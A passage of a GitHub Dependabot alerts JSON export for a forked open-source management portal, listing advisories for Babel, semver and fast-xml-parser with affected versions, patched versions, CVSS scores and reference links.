e-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":5,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"@babel/traverse"},"manifest_path":"package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-67hx-6x53-jw92","cve_id":"CVE-2023-45133","summary":"Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code","description":"### Impact\n\nUsing Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods.\n\nKnown affected plugins are:\n- `@babel/plugin-transform-runtime`\n- `@babel/preset-env` when using its [`useBuiltIns`](https://babeljs.io/docs/babel-preset-env#usebuiltins) option\n- Any \"polyfill provider\" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator`\n\nNo other plugins under the `@babel/` namespace are impacted, but third-party plugins might be.\n\n**Users that only compile trusted code are not impacted.**\n\n### Patches\n\nThe vulnerability has been fixed in `@babel/traverse@7.23.2`.\n\nBabel 6 does not receive security fixes anymore (see [Babel's security policy](https://github.com/babel/babel/security/policy)), hence there is no patch planned for `babel-traverse@6`.\n\n### Workarounds\n\n- Upgrade `@babel/traverse` to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. `@babel/core` >=7.23.2 will automatically pull in a non-vulnerable version.\n- If you cannot upgrade `@babel/traverse` and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected `@babel/traverse` versions:\n - `@babel/plugin-transform-runtime` v7.23.2\n - `@babel/preset-env` v7.23.2\n - `@babel/helper-define-polyfill-provider` v0.4.3\n - `babel-plugin-polyfill-corejs2` v0.4.6\n - `babel-plugin-polyfill-corejs3` v0.8.5\n - `babel-plugin-polyfill-es-shims` v0.10.0\n - `babel-plugin-polyfill-regenerator` v0.5.3","severity":"critical","identifiers":[{"value":"GHSA-67hx-6x53-jw92","type":"GHSA"},{"value":"CVE-2023-45133","type":"CVE"}],"references":[{"url":"https://github.com/babel/babel/security/advisories/GHSA-67hx-6x53-jw92"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45133"},{"url":"https://github.com/babel/babel/pull/16033"},{"url":"https://github.com/babel/babel/commit/b13376b346946e3f62fc0848c1d2a23223314c82"},{"url":"https://github.com/babel/babel/releases/tag/v7.23.2"},{"url":"https://github.com/babel/babel/releases/tag/v8.0.0-alpha.4"},{"url":"https://www.debian.org/security/2023/dsa-5528"},{"url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00026.html"},{"url":"https://babeljs.io/blog/2023/10/16/cve-2023-45133"},{"url":"https://github.com/advisories/GHSA-67hx-6x53-jw92"}],"published_at":"2023-10-16T13:55:36Z","updated_at":"2023-12-08T19:11:42Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":"< 7.23.2","first_patched_version":{"identifier":"7.23.2"}},{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":">= 8.0.0-alpha.0, < 8.0.0-alpha.4","first_patched_version":{"identifier":"8.0.0-alpha.4"}}],"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.3},"cwes":[{"cwe_id":"CWE-184","name":"Incomplete List of Disallowed Inputs"},{"cwe_id":"CWE-697","name":"Incorrect Comparison"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":"< 7.23.2","first_patched_version":{"identifier":"7.23.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/5","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/5","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":4,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/4","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/4","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":3,"state":"auto_dismissed","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/3","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/3","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":"2024-01-21T01:29:52Z","repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":2,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-gpv5-7x3g-ghjv","cve_id":null,"summary":"fast-xml-parser regex vulnerability patch could be improved from a safety perspective","description":"### Summary\nThis is a comment on https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-6w63-h3fj-q4vw and the patches fixing it.\n\n### Details\nThe code which validates a name calls the validator:\nhttps://github.com/NaturalIntelligence/fast-xml-parser/blob/ecf6016f9b48aec1a921e673158be0773d07283e/src/xmlparser/DocTypeReader.js#L145-L153\nThis checks for the presence of an invalid character. Such an approach is always risky, as it is so easy to forget to include an invalid character in the list. A safer approach is to validate entity names against the XML specification: https://www.w3.org/TR/xml11/#sec-common-syn - an ENTITY name is a Name:\n\n```\n[4] NameStartChar ::= \":\" | [A-Z] | \"_\" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] | [#x370-#x37D] |\n [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] | [#x2C00-#x2FEF] | [#x3001-#xD7FF] |\n [#xF900-#xFDCF] | [#xFDF0-#xFFFD] | [#x10000-#xEFFFF]\n[4a] NameChar ::= NameStartChar | \"-\" | \".\" | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]\n[5] Name ::= NameStartChar (NameChar)*\n```\n\nso the safest way to validate an entity name is to build a regex to represent this expression and check whether the name given matches the regex. (Something along the lines of `/^[name start char class][name char class]*$/`.) There's probably a nice way to simplify the explicit list rather than typing it out verbatim using Unicode character properties, but I don't know enough to do so.","severity":"low","identifiers":[{"value":"GHSA-gpv5-7x3g-ghjv","type":"GHSA"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-6w63-h3fj-q4vw"},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gpv5-7x3g-ghjv"},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/9a880b887916855c3a510869fd1ee268d7fe58b1"},{"url":"https://github.com/advisories/GHSA-gpv5-7x3g-ghjv"}],"published_at":"2023-06-15T19:05:13Z","updated_at":"2023-11-29T00:28:48Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"severity":"low","vulnerable_version_range":"= 4.2.4","first_patched_version":{"identifier":"4.2.5"}}],"cvss":{"vector_string":null,"score":0.0},"cwes":[]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"severity":"low","vulnerable_version_range":"= 4.2.4","first_patched_version":{"identifier":"4.2.5"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/2","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/2","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftw